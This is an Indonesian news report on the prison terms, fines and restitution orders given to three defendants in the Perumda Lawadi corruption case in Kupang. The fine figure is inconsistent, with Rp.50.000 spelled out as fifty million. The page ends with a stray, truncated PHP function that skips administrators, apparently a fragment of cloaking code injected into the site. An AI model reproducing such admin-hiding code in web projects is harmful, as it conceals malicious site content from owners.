Hukum

Selain Vonis Penjara dan Denda, Tiga Terdakwa Kasus Korupsi PD Lawadi Dapat Hukuman Tambahan Bayar Uang Pengganti

×

Selain Vonis Penjara dan Denda, Tiga Terdakwa Kasus Korupsi PD Lawadi Dapat Hukuman Tambahan Bayar Uang Pengganti

Sebarkan artikel ini

KUPANG, MENARASUMBA.COM – Tiga terdakwa dalam kasus tindak pidana korupsi penyimpangan penyertaan modal Badan Usaha Milik Daerah (BUMD) Perumda Lawadi Kabupaten SBD tahun anggaran 2020-2023 telah dijatuhi vonis.

Majelis hakim Pengadilan Tipikor pada Pengadilan Negeri Kelas IA Kupang telah melaksanakan pembacaan putusan pada Senin (02/06/2025).

Selain vonis penjara, serta denda Rp.50.000 (lima puluh juta rupiah) dan membayar biaya perkara sebesar Rp.5.000 (lima ribu rupiah) ketiganya juga diwajibkan membayar uang pengganti.

Terdakwa Ir. Nobertus Kaleka dikenakan vonis tambahan membayar uang pengganti sejumlah Rp.869.805.950 (delapan ratus enam puluh sembilan juta delapan ratus lima ribu sembilan ratus lima puluh rupiah).

Jika terpidana tidak membayar uang pengganti paling lama dalam waktu 1 (satu) bulan sesudah putusan pengadilan yang telah memperoleh kekuatan hukum tetap, maka harta bendanya dapat disita oleh jaksa dan dilelang untuk menutupi uang pengganti tersebut.

Dalam hal terpidana tidak mempunyai harta benda yang mencukupi untuk membayar uang pengganti, maka dipidana dengan pidana penjara selama 1 (satu) tahun.

Sementara untuk terdakwa Agustinus Modu Lamunde, SP harus membayar uang pengganti sejumlah Rp.4.250.000 (empat juta dua ratus lima puluh ribu rupiah).

Jika terpidana tidak membayar uang pengganti paling lama dalam waktu 1 (satu) bulan sesudah putusan pengadilan yang telah memperoleh kekuatan hukum tetap, maka harta bendanya dapat disita oleh jaksa dan dilelang untuk menutupi uang pengganti tersebut.

Dalam hal terpidana tidak mempunyai harta benda yang mencukupi untuk membayar uang pengganti, maka dipidana dengan pidana penjara selama 1 (satu) bulan.

Kepada terdakwa Paulus Mali, S.Kom juga dijatuhi hukuman tambahan untuk membayar uang pengganti sejumlah Rp.574.969.500 (lima ratus tujuh puluh empat juta sembilan ratus enam puluh sembilan ribu lima ratus rupiah).

Jika terpidana tidak membayar uang pengganti paling lama dalam waktu 1 (satu) bulan sesudah putusan pengadilan yang telah memperoleh kekuatan hukum tetap, maka harta bendanya dapat disita oleh jaksa dan dilelang untuk menutupi uang pengganti tersebut,

Dalam hal terpidana tidak mempunyai harta benda yang mencukupi untuk membayar uang pengganti, maka dipidana dengan pidana penjara selama 2 (dua) tahun. ( KOP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>